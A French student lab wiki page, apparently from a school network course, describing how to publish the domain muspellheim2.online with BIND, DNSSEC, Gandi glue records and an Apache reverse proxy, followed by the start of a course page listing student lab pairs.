Cela fait de notre serveur '''le référent officiel pour la gestion des noms de domaine''' associés à &amp;lt;code&amp;gt;muspellheim2.online&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
🧠 Pourquoi on fait tout ça ?&lt;br /&gt;
&lt;br /&gt;
Eh bien, comme on l’a vu avec la commande :&amp;lt;syntaxhighlight lang=&amp;quot;vim&amp;quot;&amp;gt;&lt;br /&gt;
dig @8.8.8.8 muspellheim2.online&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Google a pu répondre car '''notre domaine est désormais public''' !&lt;br /&gt;
&lt;br /&gt;
Si on n’avait pas fait cette configuration chez Gandi, personne sur Internet (hors de notre réseau) n’aurait pu le voir.&lt;br /&gt;
&lt;br /&gt;
🌐 Pour faire simple :&lt;br /&gt;
&lt;br /&gt;
En ajoutant un Glue Record et en configurant nos Nameservers, on annonce notre domaine au monde entier.&lt;br /&gt;
&lt;br /&gt;
Cela permet à n’importe quel ordinateur sur Internet de retrouver l’adresse IP de notre serveur — et donc d’afficher notre site ou d’accéder à nos services.&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+&lt;br /&gt;
![[Fichier:NameserverGandi.png|gauche|NameserverGandi Pierre CASIMIRI muspellheim2.online]]&lt;br /&gt;
|-&lt;br /&gt;
|[[Fichier:GlueRecordGandi.png|gauche|2305x2305px|GlueRecordGandi Pierre CASIMIRI muspellheim2.online]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==== DIFFUSION DE NOTRE SUPERBE SERVEUR AU MONDE ====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
🌍 Une fois le Glue Record ajouté… on attend un peu que le monde entier soit au courant !&lt;br /&gt;
&lt;br /&gt;
Une fois qu’on a :&lt;br /&gt;
&lt;br /&gt;
* ajouté les '''Glue Records''',&lt;br /&gt;
* remplacé les '''Nameservers''' dans le registrar (comme Gandi),&lt;br /&gt;
&lt;br /&gt;
eh bien il faut patienter un peu. Pourquoi ? Parce que '''les informations DNS doivent se propager''' à travers le monde. Cette phase peut prendre '''quelques heures à quelques jours''', selon les serveurs.&lt;br /&gt;
&lt;br /&gt;
🛰️ Comment savoir si c’est bien propagé ?&lt;br /&gt;
&lt;br /&gt;
Il existe des sites comme '''DNSChecker.org''' qui permettent de voir si votre nom de domaine est '''bien visible depuis plusieurs endroits de la planète'''.&lt;br /&gt;
&lt;br /&gt;
📌 Exemple : &amp;lt;code&amp;gt;muspellheim2.online&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Sur DNSChecker, vous entrez votre domaine et choisissez le type d'enregistrement que vous voulez vérifier, par exemple :&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
!Type&lt;br /&gt;
!Ce que ça affiche&lt;br /&gt;
|-&lt;br /&gt;
|&amp;lt;code&amp;gt;A&amp;lt;/code&amp;gt;&lt;br /&gt;
|Adresse IPv4 liée au domaine&lt;br /&gt;
|-&lt;br /&gt;
|&amp;lt;code&amp;gt;AAAA&amp;lt;/code&amp;gt;&lt;br /&gt;
|Adresse IPv6&lt;br /&gt;
|-&lt;br /&gt;
|&amp;lt;code&amp;gt;NS&amp;lt;/code&amp;gt;&lt;br /&gt;
|Liste des Nameservers en charge du domaine&lt;br /&gt;
|-&lt;br /&gt;
|&amp;lt;code&amp;gt;CNAME&amp;lt;/code&amp;gt;&lt;br /&gt;
|Alias d’un domaine vers un autre&lt;br /&gt;
|-&lt;br /&gt;
|&amp;lt;code&amp;gt;DNSKEY&amp;lt;/code&amp;gt;&lt;br /&gt;
|Clés publiques DNSSEC (on y reviendra plus tard)&lt;br /&gt;
|}&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+&lt;br /&gt;
![[Fichier:DNSChecker1.png|gauche|768x768px|DNSChecker1]]&lt;br /&gt;
![[Fichier:DNSChecker3.png|alt=DNSChecker3|bordure|687x687px]]&lt;br /&gt;
! rowspan=&amp;quot;2&amp;quot; |[[Fichier:DNSChecker5.png|alt=DNSChecker5|655x655px]]&lt;br /&gt;
|-&lt;br /&gt;
|[[Fichier:DNSChecker2.png|alt=DNSChecker2|bordure|768x768px]]&lt;br /&gt;
|[[Fichier:DNSChecker4.png|alt=DNSChecker4|701x701px]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
* ✅ '''Check vert''' : ça veut dire que ce serveur DNS a bien reçu et reconnu ton info.&lt;br /&gt;
* 🟡 '''Check en attente''' : propagation en cours ou serveur lent.&lt;br /&gt;
* ❌ '''Check rouge''' : info non encore propagée à ce serveur ou pas propagée car les certificats ne sont pas acceptés par ses serveurs DNS.&lt;br /&gt;
&lt;br /&gt;
==== DNSSEC sur Atreus ====&lt;br /&gt;
&lt;br /&gt;
===== 🧭 Configuration DNS sur le serveur BIND – &amp;lt;code&amp;gt;named.conf.local&amp;lt;/code&amp;gt; =====&lt;br /&gt;
📄 Fichier : &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ce fichier contient la déclaration des zones DNS locales pour le serveur BIND.&lt;br /&gt;
&lt;br /&gt;
On y définit ici :&lt;br /&gt;
&lt;br /&gt;
-Une zone primaires (gérées en local)&lt;br /&gt;
&lt;br /&gt;
-Une zone secondaire (copiée depuis un autre serveur)&lt;br /&gt;
&lt;br /&gt;
Et une politique DNSSEC.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
cat /etc/bind/named.conf.local&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;vim&amp;quot;&amp;gt;&lt;br /&gt;
zone &amp;quot;muspellheim2.online&amp;quot; {&lt;br /&gt;
&lt;br /&gt;
 type primary;&lt;br /&gt;
 file &amp;quot;/etc/bind/zones/muspellheim2.online/muspellheim2.zone&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
allow-transfer{2001:660:4401:60a0:216:3eff:fee7:c51b;&lt;br /&gt;
&lt;br /&gt;
              2001:660:4401:60a0:216:3eff:fed0:9ab0;};  // filtrage des secondaires&lt;br /&gt;
&lt;br /&gt;
also-notify{2001:660:4401:60a0:216:3eff:fee7:c51b;}; // pour les secondaires vicieux notify yes; // notification des secondaires &lt;br /&gt;
key-directory &amp;quot;/etc/bind/keys&amp;quot;; &lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot;; &lt;br /&gt;
inline-signing yes; };&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;jotunheim2.tech&amp;quot;{&lt;br /&gt;
&lt;br /&gt;
       type slave;&lt;br /&gt;
       file &amp;quot;/etc/bind/jotunheim2.tech&amp;quot;;&lt;br /&gt;
       primaries{2001:660:4401:60a0:216:3eff:fed0:9ab0;};&lt;br /&gt;
&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
&lt;br /&gt;
 keys {&lt;br /&gt;
   ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
   zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
 };&lt;br /&gt;
 nsec3param;&lt;br /&gt;
&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
🔹 '''type primary''' : Ce serveur est '''l'autorité principale''' pour la zone.&lt;br /&gt;
&lt;br /&gt;
🔹 '''file''' : Chemin du fichier de zone contenant tous les enregistrements DNS (&amp;lt;code&amp;gt;A&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;AAAA&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;NS&amp;lt;/code&amp;gt;, etc.).&lt;br /&gt;
&lt;br /&gt;
🔹 '''allow-transfer''' : Liste des serveurs secondaires '''autorisés à faire un transfert de zone''' (AXFR). Cela sécurise l’accès aux données DNS.&lt;br /&gt;
&lt;br /&gt;
🔹 '''also-notify''' : Force l’envoi de notifications DNS vers certains secondaires, même s’ils ne sont pas configurés comme secondaires officiels.&lt;br /&gt;
&lt;br /&gt;
🔹 '''notify yes''' : Active les notifications automatiques des serveurs secondaires lorsqu’une mise à jour de la zone est faite.&lt;br /&gt;
&lt;br /&gt;
🔹 '''dnssec-policy &amp;quot;dnspol&amp;quot;''' : Active '''DNSSEC''' avec une politique personnalisée.&lt;br /&gt;
&lt;br /&gt;
🔹 '''inline-signing yes''' : Active la '''signature automatique''' de la zone par BIND.&lt;br /&gt;
&lt;br /&gt;
====== Zone secondaire : &amp;lt;code&amp;gt;jotunheim2.tech&amp;lt;/code&amp;gt; ======&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;vim&amp;quot;&amp;gt;&lt;br /&gt;
zone &amp;quot;jotunheim2.tech&amp;quot; {&lt;br /&gt;
  type slave;&lt;br /&gt;
  file &amp;quot;/etc/bind/jotunheim2.tech&amp;quot;;&lt;br /&gt;
  primaries { 2001:660:4401:60a0:216:3eff:fed0:9ab0; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;🔹 '''type slave''' : Ce serveur récupère les données de zone depuis un '''serveur primaire distant'''.&lt;br /&gt;
&lt;br /&gt;
🔹 '''primaries { ... }''' : Adresse du serveur maître à interroger pour obtenir la zone.&lt;br /&gt;
&lt;br /&gt;
🔹 '''file''' : Emplacement local où la zone est stockée après transfert.&lt;br /&gt;
&lt;br /&gt;
====== 🔐 Politique DNSSEC : &amp;lt;code&amp;gt;&amp;quot;dnspol&amp;quot;&amp;lt;/code&amp;gt; ======&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;vim&amp;quot;&amp;gt;&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
  keys {&lt;br /&gt;
    ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
  };&lt;br /&gt;
  nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;🔹 '''ksk''' : Key Signing Key (clé qui signe les autres clés DNS).&lt;br /&gt;
&lt;br /&gt;
🔹 '''zsk''' : Zone Signing Key (clé qui signe les enregistrements DNS).&lt;br /&gt;
&lt;br /&gt;
🔹 '''algorithm 13''' : Il s’agit d’'''ECDSA P-256 with SHA-256''' (&amp;lt;nowiki&amp;gt;RFC 6605&amp;lt;/nowiki&amp;gt;), algorithme sécurisé et moderne.&lt;br /&gt;
&lt;br /&gt;
🔹 '''nsec3param''' : Indique que '''NSEC3''' est utilisé (permet de sécuriser les réponses &amp;quot;ce nom n'existe pas&amp;quot; sans divulguer d'autres noms).&lt;br /&gt;
&lt;br /&gt;
✅ Les deux clés sont générées dans le répertoire &amp;lt;code&amp;gt;key-directory&amp;lt;/code&amp;gt;, ont une durée de vie '''illimitée''', et utilisent '''l’algorithme 13''' (ED25519, rapide et sécurisé).&lt;br /&gt;
&lt;br /&gt;
✅ &amp;lt;code&amp;gt;nsec3param&amp;lt;/code&amp;gt; : active la protection contre l’énumération de noms (empêche de “scanner” une zone DNS facilement).&lt;br /&gt;
&lt;br /&gt;
Pour que '''DNSSEC fonctionne correctement''', il faut '''déclarer la clé KSK''' (Key Signing Key) chez votre '''registrar''', ici '''Gandi'''.&lt;br /&gt;
&lt;br /&gt;
Sur votre machine, les clés sont générées automatiquement dans le répertoire (key-directory dans le fichier &amp;lt;code&amp;gt;/etc/bind/named.conf.local)&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/etc/bind/keys/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Par exemple, vous pouvez voir des fichiers comme ceux-ci :&amp;lt;syntaxhighlight lang=&amp;quot;ruby&amp;quot;&amp;gt;&lt;br /&gt;
Kmuspellheim2.online.+013+03837.key&lt;br /&gt;
Kmuspellheim2.online.+013+03837.private&lt;br /&gt;
Kmuspellheim2.online.+013+03837.state&lt;br /&gt;
&lt;br /&gt;
Kmuspellheim2.online.+013+14053.key&lt;br /&gt;
Kmuspellheim2.online.+013+14053.private&lt;br /&gt;
Kmuspellheim2.online.+013+14053.state&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;🗝️ Les fichiers importants :&lt;br /&gt;
&lt;br /&gt;
* Les fichiers '''&amp;lt;code&amp;gt;.key&amp;lt;/code&amp;gt;''' contiennent la '''clé publique''' (celle que vous devez copier/coller sur Gandi).&lt;br /&gt;
* Les fichiers '''&amp;lt;code&amp;gt;.private&amp;lt;/code&amp;gt;''' contiennent la '''clé privée''' (à '''ne jamais partager''' !).&lt;br /&gt;
* Les fichiers '''&amp;lt;code&amp;gt;.state&amp;lt;/code&amp;gt;''' servent à BIND pour gérer l’état et la durée de validité des clés.&lt;br /&gt;
&lt;br /&gt;
Pour éviter tout problème avec la validation DNSSEC, pensez à mettre les deux fichiers .key dans l’interface de Gandi, dans la partie DNSSEC de votre domaine.&lt;br /&gt;
&lt;br /&gt;
💡 En faisant cela, vous reliez votre zone DNS signée à la chaîne de confiance globale d’Internet : tout le monde pourra alors vérifier que vos données DNS sont authentiques et non modifiées.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Une fois la configuration DNSSEC en place, on peut tester si '''tout fonctionne correctement''' avec le site '''DNSViz'''.&lt;br /&gt;
&lt;br /&gt;
Ce site permet d’'''analyser les signatures DNSSEC''' et de vérifier si la '''chaîne de confiance''' est bien construite du début à la fin (depuis la racine DNS jusqu’à votre zone).&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+&lt;br /&gt;
![[Fichier:DNSviz Muspellheim2.online.png|gauche|1129x1129px|DNSviz Muspellheim2.online]]&lt;br /&gt;
|}&lt;br /&gt;
Le graphe montre '''la chaîne de confiance DNSSEC''' :&lt;br /&gt;
&lt;br /&gt;
* On part de la '''racine DNS''' (&amp;lt;code&amp;gt;.&amp;lt;/code&amp;gt;), qui délègue au TLD &amp;lt;code&amp;gt;.online&amp;lt;/code&amp;gt;.&lt;br /&gt;
* &amp;lt;code&amp;gt;.online&amp;lt;/code&amp;gt; contient une clé DS qui fait le lien avec '''ton domaine''' &amp;lt;code&amp;gt;muspellheim2.online&amp;lt;/code&amp;gt;.&lt;br /&gt;
* Ensuite, ton domaine possède ses propres clés (DNSKEY), qui signent toutes les infos de ta zone (A, NS, AAAA, etc.)&lt;br /&gt;
&lt;br /&gt;
✅ Tout est &amp;quot;Secure&amp;quot; sur le graphe → l'''a configuration DNSSEC est correcte et vérifiée''' !&lt;br /&gt;
== APACHE ==&lt;br /&gt;
=====&amp;lt;span style=&amp;quot;color:#bab9bd;font-weight: bold;&amp;quot;&amp;gt;&amp;lt;u&amp;gt; '''Configuration d’Apache sur GOW''' :&amp;lt;/u&amp;gt; &amp;lt;/span&amp;gt;=====&lt;br /&gt;
Apache va '''écouter les requêtes envoyées à muspellheim2.online''', puis les '''rediriger vers un autre serveur''' (ici Atreus), via son '''adresse IPv6'''.&lt;br /&gt;
&lt;br /&gt;
Cela permet d’accéder à un site web qui tourne sur Atreus '''même si celui-ci n’a pas d’IPv4 publique'''.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;root@GOW:~# cat /etc/apache2/sites-available/muspellheim2.online.conf&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#Partie HTTP (port 80)&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
    ServerName muspellheim2.online&lt;br /&gt;
&lt;br /&gt;
    ProxyPass / http://[2001:660:4401:60a0:216:3eff:fe91:f4e3]/&lt;br /&gt;
    ProxyPassReverse / http://[2001:660:4401:60a0:216:3eff:fe91:f4e3]/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Partie HTTPS (port 443)&lt;br /&gt;
&amp;lt;IfModule mod_ssl.c&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
    ServerName muspellheim2.online&lt;br /&gt;
&lt;br /&gt;
    SSLProxyEngine on&lt;br /&gt;
    ProxyPreserveHost on&lt;br /&gt;
&lt;br /&gt;
    SSLCertificateFile /etc/ssl/certs/muspellheim2.online.crt&lt;br /&gt;
    SSLCertificateKeyFile /etc/ssl/private/muspellheim2.online.key&lt;br /&gt;
    SSLCertificateChainFile /etc/ssl/certs/KGandiPierre/GandiCert.pem&lt;br /&gt;
&lt;br /&gt;
    ProxyPass / https://[2001:660:4401:60a0:216:3eff:fe91:f4e3]/&lt;br /&gt;
   ProxyPassReverse / https://[2001:660:4401:60a0:216:3eff:fe91:f4e3]/&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
📄 '''Fichier concerné : /etc/apache2/sites-available/muspellheim2.online.conf'''&lt;br /&gt;
&lt;br /&gt;
Ce fichier configure un virtual host Apache2 pour le domaine muspellheim2.online, en mode proxy inverse (reverse proxy). Cela signifie que le serveur Apache2 reçoit les requêtes des utilisateurs et les redirige vers un autre serveur (Atreus), ici identifié par son adresse IPv6.&lt;br /&gt;
&lt;br /&gt;
Le fichier gère deux protocoles :&lt;br /&gt;
&lt;br /&gt;
- HTTP (port 80) — non sécurisé&lt;br /&gt;
&lt;br /&gt;
- HTTPS (port 443) — sécurisé avec SSL/TLS&lt;br /&gt;
&lt;br /&gt;
🔹 *VirtualHost :80 : Cela signifie que ce bloc s'applique à toutes les interfaces réseau, sur le port 80 (HTTP).&lt;br /&gt;
&lt;br /&gt;
🔹 ServerName : Nom de domaine géré par ce virtual host. Apache redirigera les requêtes envoyées à muspellheim2.online.&lt;br /&gt;
&lt;br /&gt;
🔹 ProxyPass / ... : Toutes les requêtes reçues sur / sont transmises à l'adresse IPv6 mentionnée. C’est là que tourne le vrai service web.&lt;br /&gt;
&lt;br /&gt;
🔹 ProxyPassReverse : Permet de réécrire les en-têtes de redirection (comme les Location: envoyés par le serveur cible), pour que le client voit toujours muspellheim2.online au lieu de l’IP.&lt;br /&gt;
&lt;br /&gt;
Atreus n’a pas d’IPv4 publique, donc il n’est pas directement joignable depuis Internet.&lt;br /&gt;
&lt;br /&gt;
➜ GOW, qui a une IP publique, agit comme une porte d’entrée vers Atreus.&lt;br /&gt;
&lt;br /&gt;
➜ C’est lui qui reçoit les requêtes extérieures et les redirige en interne vers le bon serveur.&lt;br /&gt;
&lt;br /&gt;
On appelle ça un proxy inverse : le client ne sait pas que le site tourne ailleurs, tout passe par GOW.&lt;br /&gt;
&lt;br /&gt;
=====&amp;lt;span style=&amp;quot;color:#bab9bd;font-weight: bold;&amp;quot;&amp;gt;&amp;lt;u&amp;gt; '''Configuration d’Apache2 sur Atreus : le vrai serveur web – Site muspellheim2.online''' :&amp;lt;/u&amp;gt; &amp;lt;/span&amp;gt;=====&lt;br /&gt;
📄 Fichier : /etc/apache2/sites-available/000-muspellheim.conf&lt;br /&gt;
&lt;br /&gt;
Ce fichier configure le serveur Apache2 sur la machine Atreus, qui héberge le véritable contenu du site muspellheim2.online. Il gère aussi bien les connexions HTTP que HTTPS.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
    ServerName muspellheim2.online&lt;br /&gt;
    ServerAlias www.muspellheim2.online&lt;br /&gt;
    RedirectPermanent / https://muspellheim2.online/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
🔹 *VirtualHost :80 : Écoute sur le port HTTP.&lt;br /&gt;
&lt;br /&gt;
🔹 ServerName / ServerAlias :&lt;br /&gt;
&lt;br /&gt;
ServerName : Nom principal du site.&lt;br /&gt;
&lt;br /&gt;
ServerAlias : Permet aussi de répondre à www.muspellheim2.online.&lt;br /&gt;
&lt;br /&gt;
🔹 RedirectPermanent / : Redirige tout le trafic HTTP vers HTTPS. &lt;br /&gt;
&lt;br /&gt;
💡 '''Pourquoi ?'''&lt;br /&gt;
&lt;br /&gt;
C’est une '''bonne pratique de sécurité''' : on force tous les visiteurs à utiliser une connexion chiffrée.&lt;br /&gt;
&lt;br /&gt;
Partie HTTPS – Serveur principal&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
    ServerName muspellheim2.online&lt;br /&gt;
    ServerAlias www.muspellheim.online&lt;br /&gt;
    ...&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
  Port 443 : Pour les connexions HTTPS (chiffrées).&lt;br /&gt;
&lt;br /&gt;
🔹 ServerName / ServerAlias : Idem que pour le port 80&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
SSLCertificateFile /etc/ssl/certs/muspellheim2.online.crt&lt;br /&gt;
SSLCertificateKeyFile /etc/ssl/certs/private/muspellheim2.online.key&lt;br /&gt;
SSLCertificateChainFile /etc/ssl/certs/GandiCert.pem&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
🔹 Ces trois fichiers permettent au serveur d’offrir une connexion HTTPS sécurisée :&lt;br /&gt;
&lt;br /&gt;
- .crt : certificat public du site. &lt;br /&gt;
&lt;br /&gt;
- .key : clé privée (confidentielle). &lt;br /&gt;
&lt;br /&gt;
- ChainFile : certificat intermédiaire (chaîne de certification, fourni par Gandi ici).&lt;br /&gt;
&lt;br /&gt;
'''📝 Logs Apache'''&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
🔹 Gère la journalisation :&lt;br /&gt;
&lt;br /&gt;
- error.log : erreurs serveur.&lt;br /&gt;
&lt;br /&gt;
- access.log : toutes les requêtes reçues, avec IP, timestamp, etc.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Partie HTTP (port 80)&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
    ServerName muspellheim2.online&lt;br /&gt;
    ServerAlias www.muspellheim2.online&lt;br /&gt;
    RedirectPermanent / https://muspellheim2.online/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Partie HTTPS (port 443)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
    ServerName muspellheim2.online&lt;br /&gt;
    ServerAlias www.muspellheim.online&lt;br /&gt;
    # SSLProxyEngine on&lt;br /&gt;
    ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
    CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
    SSLCertificateFile /etc/ssl/certs/muspellheim2.online.crt&lt;br /&gt;
    SSLCertificateKeyFile /etc/ssl/certs/private/muspellheim2.online.key&lt;br /&gt;
    SSLCertificateChainFile /etc/ssl/certs/GandiCert.pem&lt;br /&gt;
    &amp;lt;FilesMatch &amp;quot;\.(?:cgi|shtml|phtml|php)$&amp;quot;&amp;gt;&lt;br /&gt;
        SSLOptions +StdEnvVars&lt;br /&gt;
    &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
    &amp;lt;Directory /usr/lib/cgi-bin&amp;gt;&lt;br /&gt;
        SSLOptions +StdEnvVars&lt;br /&gt;
    &amp;lt;/Directory&amp;gt;&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et comme '''Atreus est le vrai serveur''', et que '''GOW redirige tout vers lui''', ça permet à l’utilisateur de '''n’avoir aucune idée que deux serveurs travaillent ensemble derrière &amp;lt;code&amp;gt;muspellheim2.online&amp;lt;/code&amp;gt;'''.&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+&lt;br /&gt;
![[Fichier:Schéma fonctionnel redirection vers Atreus.png|alt=Schéma fonctionnel redirection vers Atreus|345x345px]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== ✅ Vérification finale : est-ce que le site est en ligne et accessible ? ==&lt;br /&gt;
Une fois que '''tout est configuré''' (serveur web, DNS, DNSSEC, reverse proxy, certificats...), il ne reste plus qu'à '''tester si le site fonctionne bien'''.&lt;br /&gt;
&lt;br /&gt;
=== 🧪 Méthode 1 : test en ligne de commande avec &amp;lt;code&amp;gt;curl&amp;lt;/code&amp;gt; ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;ruby&amp;quot;&amp;gt;&lt;br /&gt;
curl -4 https://muspellheim2.online&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+&lt;br /&gt;
![[Fichier:Sortie curl -4 muspellheim.png|alt=sortie curl -4 muspellheim|550x550px]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;ruby&amp;quot;&amp;gt;&lt;br /&gt;
curl -6 https://muspellheim2.online&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+&lt;br /&gt;
![[Fichier:Sortie curl -6 muspellheim.png|alt=sortie curl -6 muspellheim|502x502px]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== 🌍 Méthode 2 : test dans un navigateur ===&lt;br /&gt;
Vous pouvez aussi tout simplement ouvrir votre navigateur préféré et taper l’adresse :&amp;lt;syntaxhighlight lang=&amp;quot;ruby&amp;quot;&amp;gt;&lt;br /&gt;
https://muspellheim2.online&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+&lt;br /&gt;
![[Fichier:Projet fini Muspellheim.png|alt=Projet fini Muspellheim|1076x1076px]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;curl -4&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;curl -6&amp;lt;/code&amp;gt; permettent de '''vérifier si votre site répond en IPv4 et IPv6'''.&lt;br /&gt;
&lt;br /&gt;
* Si vous n’avez pas de retour ou que la connexion échoue, vérifiez :&lt;br /&gt;
** votre '''config Apache'''&lt;br /&gt;
** vos '''règles de pare-feu'''&lt;br /&gt;
** vos '''enregistrements DNS'''&lt;br /&gt;
** et que vos '''certificats sont bien en place'''&lt;/div&gt;</summary>
		<author><name>Pcasimir</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_IdO_s%C3%A9curit%C3%A9_syst%C3%A8me/r%C3%A9seau_2025/2026&amp;diff=11262</id>
		<title>SE4 IdO sécurité système/réseau 2025/2026</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_IdO_s%C3%A9curit%C3%A9_syst%C3%A8me/r%C3%A9seau_2025/2026&amp;diff=11262"/>
		<updated>2026-01-20T15:08:40Z</updated>

		<summary type="html">&lt;p&gt;Pcasimir : /* Répartition des binômes pour les travaux pratiques &amp;quot;administration système et réseau&amp;quot; */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Répartition des binômes pour les travaux pratiques &amp;quot;administration système et réseau&amp;quot; =&lt;br /&gt;
&lt;br /&gt;
Préfixe des noms de machine : &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Domaines Internet à louer sur [[gandi.net]]. Identifiant &amp;lt;code&amp;gt;pifou&amp;lt;/code&amp;gt;. Regardez le montant prévu sur le compte avant de louer un domaine.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Cahier !! Elève !! Nom de domaine&lt;br /&gt;
! Nom de machine de services !! Nom de machine mandataire&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E1 | Cahier n°1]] || Pierre CASIMIRI || || SE4.Merteuil||SE4.Rosemonde&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E2 | Cahier n°2]] || Agathe HOUDUSSE || || SE4.Valmont||SE4.Rosemonde&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E3 | Cahier n°3]] || Lilia GHAZALI || || SE4.Tension||SE4.Kirchhoff&lt;br /&gt;
